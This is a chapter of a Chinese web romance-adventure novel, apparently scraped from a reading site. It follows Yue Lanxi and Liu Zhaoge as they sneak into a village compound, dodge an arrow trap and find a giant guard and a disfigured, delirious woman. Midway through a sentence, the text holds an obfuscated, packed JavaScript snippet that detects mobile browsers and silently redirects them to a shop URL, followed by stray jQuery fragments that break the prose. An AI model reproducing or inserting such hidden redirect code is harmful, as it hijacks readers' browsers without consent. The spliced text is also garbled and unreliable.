24. 第二十四章

作品:《疯批摄政王装乖掉马后

    村子里的人,除了白天劳作,没有任何的娱乐,很枯燥但是很充足。


    越兰溪不一样,她是一个闲不住的性子。


    花间宅院,也就是先前族长找他们谈话的院子。这里并不是族长他们住的地方,夜晚,寂静无声,只有院外偶尔巡逻走过的脚步声。


    “兰溪,我们来这里干什么?”柳棹歌明知故问,装傻。


    他知道越兰溪白天时就对这里起了兴趣,只是不知道她会今晚就来此。


    “嘘。”


    越兰溪按下柳棹歌的头,靠在墙根,躲过巡卫。


    “你不觉得这座宅院很奇怪吗?”


    “我们今晨遇到一堵很奇怪的墙,你记得不?”


    柳棹歌点头:“下面镂空,上面全是花的那堵墙吗?”


    “对,我觉得它背后肯定有东西。你以为我真是为了和你抢谁最好看的名头啊,那老头,有十足十的不对劲,尤其是对你。”越兰溪猫着腰往前走。


    “等会儿要是有任何动静,你先藏起来,藏好,伤了我可不管啊。”


    越兰溪原本没打算带他来的。


    只是,没办法,她这个人最大的弱点就是爱惜美人。


    她不要他来,他就握着她的手,眼角湿润地眨着眼望着她,好吧好吧,那就一起走吧。


    “好。”柳棹歌勾起嘴角,像是得逞的狐狸。


    那堵特殊的墙在后院,他们从垂花门潜入,中间经过正院,内院和花园。白天看上去并不耀眼的花簇,眼下月华如水,竟然衬得一墙的嫣红的花更加妖俏诡丽,像是下一刻就会从墙中钻出来一只花妖,夺人心魄的美艳。


    越兰溪凑近闻了闻,无香。


    心中奇怪,如此娇艳的花居然没有任何香味。


    继续往前走近,拨开花墙,显露出一面布满尘土的石墙。


    “小心!”柳棹歌扑过来。


    墙内机括骤响,墙面忽现暗格,箭矢如流星穿隙,疾射而来。


    越兰溪反手拉着扑过来的柳棹歌向后仰,足尖一点侧旋避身,箭镞擦着衣袂钉入墙中。


    “果然有东西。”越兰溪完全不慌。


    “不是,我不是说有危险先自己跑吗?你扑过来干什么,把我吓一跳。”她对着柳棹歌没好气道。


    方才在地上打了两个滚之后,原本朗月清风般的人,如今显得脏兮兮的。


    他靠在柱子上嗫喏:“我,我害怕......害怕兰溪受伤。”


    越兰溪心弦轻颤,无声轻叹,算了。


    “你先在这里等我,我过去探探情况,躲好啊。”越兰溪反复叮嘱,盯着他躲到隐秘处之后才凌空翻过墙去。


    知道不见越兰溪的衣角,柳棹歌才直起身子,眼若寒星,在院中踱步,来回观察这方小院的布局构造。


    这棵大树,他摸上树干,似乎似曾相识。


    果然不出意外,大树后面是一张青石板玉桌,以前应该是有三张石凳的,柳棹歌眸光流转。


    一切都太熟悉了,但是他不知这是为何。


    石墙后传来微不可察的响声,他眼底掠过一丝锐光,转瞬便隐入温顺,袍角翻转间不疾不徐,又重新坐回角落,像是什么也没发生过一样,乖乖地坐在原地。


    越兰溪踩墙飞跃墙头。


    “果然,后院藏有玄机,一间院子上着锁,墙至少有两丈高,都快赶上州府的城墙了,且那边的守兵比这边的还有多,看起来也更加魁梧。”


    “那我们还去吗?”柳棹歌问。


    “去。”


    越兰溪斩钉截铁,隐隐间还有些兴奋。


    “但是我一个人去,你就别去了。这次听我的,别撒娇。”越兰溪先发制人,堵住了柳棹歌的口。


    瞧着他有些失落的表情,越兰溪一下子就心软,张开嘴之后,又快速转过身去不看他。


    她是一个有原则的人!


    “那边戒备森严,我一个人尚不能安全潜入,我需要保证你的安全,知道吗?别垂头丧气的,你就在这里等着我,我探查完情况还是来这里找你。”


    柳棹歌多说无益,只好委屈地点头。


    他扬唇道:“好,我等你来接我。”


    唉呦,越兰溪瞧着他像只流浪小狗一样温驯地看着她,她真的坚持不住自己了。


    “这把匕首你拿着,记住,如果有人来,只要察觉到危险,不管来人是好是坏,只管保护好自己,伤了人我来解决,知道吗?”


    越兰溪从腰后抽出一把精致小巧的匕首,放在柳棹歌手中,叮嘱道。


    柳棹歌低头小声地“嗯”了一声。


    “你也要好好的,别受伤了。”


    要是谁赶伤你,我让他死无全尸。


    柳棹歌侧头掩去眼底的暗色与嗜血。


    没忍住,越兰溪伸出手指勾勾他的下巴。


    “知道啦。”


    柳棹歌微怔,下巴还残留着方才她指尖留下的余温和触感。


    他手指摸上下巴,酥酥麻麻的感觉还留在上面,眼尾弯弯,像是在呓语。


    “兰溪,我一定乖乖的。”


    神秘的院子前是一大片竹林,风吹过竹梢,沙沙作响,树影交织着对面的火光,像是一对痴情缠绵的情人。


    唯一的一颗大树后,越兰溪蹲在树后,冷静地打量观察着前面的状况。


    每隔半炷香就会有一个队伍巡逻到院门,且塔楼上还有两人在巡视,熊熊燃起的火光,照得此处像是白昼。


    院后靠着一座大山,越兰溪决定从后面寻找机会。


    绕着巡查的人走到院子后面。不出她所料,此处果然没有那么森严,但是巡逻时间间隔却减短了,没到半炷香就有两拨队伍。但是此处没有火光,是一片黑暗。


    院墙很高,对越兰溪来说却是简简单单的事。


    算好时间,越兰溪往山后跑去,选择最靠近院墙的一边,助力起跑,双手挂在墙头,双脚蹬墙,毫不费力的越过墙头。


    悄无声息地着地,越兰溪自信拍拍手,小意思,还能难到本寨主?


    院子很简单,就是两三座房子以及,一大片花圃。


    满院子的异香,香得让她头晕。


    她捂住嘴鼻,上前一瞧,满头疑问。


    这不是他们白日在村子中见到没有香味的怪花吗?怎么如此香,难不成这花是白天不香晚上香?


    有人来了。


    越兰溪迅速跑进离她最近的屋子的檐下。


    她听见,脚步声极为沉重,不似寻常人的动静,且此人行动极为缓慢,但是好似步子却迈得极大,不消几时,就已经从院门走到中央了。


    越兰溪小心翼翼地伸出一点头出去瞧,同时,反过手去拼接自己的长枪。


    ???


    她看见了什么?!


    越兰溪不敢相信,缩回头用手背擦擦眼睛,再伸出头去。


    那是一个身长近八尺,肩粗腰圆的异常魁梧的男子,一手提着一只大石锤,拖在地上,擦着火花。


    就算是越兰溪自诩见多识广,也不曾见过如此高的男子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891836|190359||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,就像是一座山,令人一看就生畏。


    越兰溪只是惊讶一番,随即她想起,她好似见过这样的人。


    灵光一闪,她想起来了,他就是她们进入雾林时遇到的那个怪人!


    当时他说的什么?什么裴氏什么东西?越兰溪想不起来了。


    但是,关于她接的这项任务,她觉得她好像渐渐地有了眉目。


    如今只要弄清楚这个村庄的秘密,应该就有了找宝物的头绪。


    想着就有点刺激,越兰溪眼睛发光。


    她现在不为赏金,不为宝物了,完全是冲着解密来的。


    身后的房屋一片漆黑,寂静无声,越兰溪决定还进去看看有什么线索。


    用刀鞘戳开窗纸,只看见空荡荡的房间,偶尔床帐飘起,充满了鬼魅感。


    没人,越兰溪放心地翻窗进去。


    “唔唔唔,唔唔。”


    刚跳下窗,脚下刚触碰到一团软物,还没踩实,就传来一道闷哼声,听声音,还是女子的声音。


    越兰溪头皮发麻,一团蠕动生物黏在地上,她的鸡皮疙瘩爬到脖颈,一下跳到两丈远。


    越兰溪紧握枪杆,靠在对面的窗框上,做出随时就要翻窗出去的准备。


    不是她胆小,那一团软绵绵,像是无骨的生物在你脚下蠕动出声,这随便搁在一个正常人身上都是会尖叫的。


    借着月光,越兰溪定睛一看,方才在地上蠕动的生物是一个人。


    那人瘫坐在地上,像是没长骨头,四肢随意耷拉着,头发散乱遮挡在额前,看不清五官。


    身上穿着和他们同样的素白衣裳,只是她身上的衣裳被抓烂,露出锁骨,层层糜烂猩红。


    “何人在此装神弄鬼!”


    是人就行。


    枪划过气流,直指着地上扭曲四肢的怪人,发出铮铮声响。


    “芙蓉花,芙蓉花,笑哈哈,笑哈哈......”


    可怖惊悚的歌谣从她嘴里哼出来,带着神识不清的笑声,环绕在这间空荡的房间。


    是女子?


    又是芙蓉花?


    越兰溪紧锁眉头。


    “你要尝一尝芙蓉花吗?”地上的女子忽然抬头,声音沙哑,却很是温柔。


    她抬起脸,小小的鹅蛋脸上到处都是溃烂,流着脓血,眼神麻木,但是眉眼干净漂亮。


    越兰溪瞧见,倒吸一口凉气撇过脸去。她从不曾见过如此情形,尽管她杀人无数,但是此种景象发生在一女子身上,她是未曾接触过的。


    她深吸一口气,确定此女子没有任何威胁之后,慢慢移步过去,害怕惊扰了地上自言自语的人儿,温声道。


    "姑娘说的芙蓉花是什么?"


    地上的女子听到关键词,动动脖子,手指绞成一团乱,像是在理解这句话。


    良久都没有说话,只是眼下簌簌流泪,滚烫的热泪流过皮肉溃烂处,很痛。


    女子趴在地上无声呐喊哭泣。


    不断传出的呜咽声让越兰溪动容。


    “别哭,伤口会痛的。”她撕下内衬的一块步,内衬的布料虽比不上她之前的衣裳柔软,但是也勉强能当作一块手帕。


    她瞥眉,先将女子脸上黏住的发丝用布料捆在脑后,又将剩下的布料挡在女子眼下,防止眼泪留到脸上溃烂的地方,引得她发痒发痛。


    这姑娘大概已经神志不清了,只是呆呆傻傻地盯着越兰溪的脸,好久好久都不说话。


    突然,屋顶发出声响,像是瓦片破裂的声音。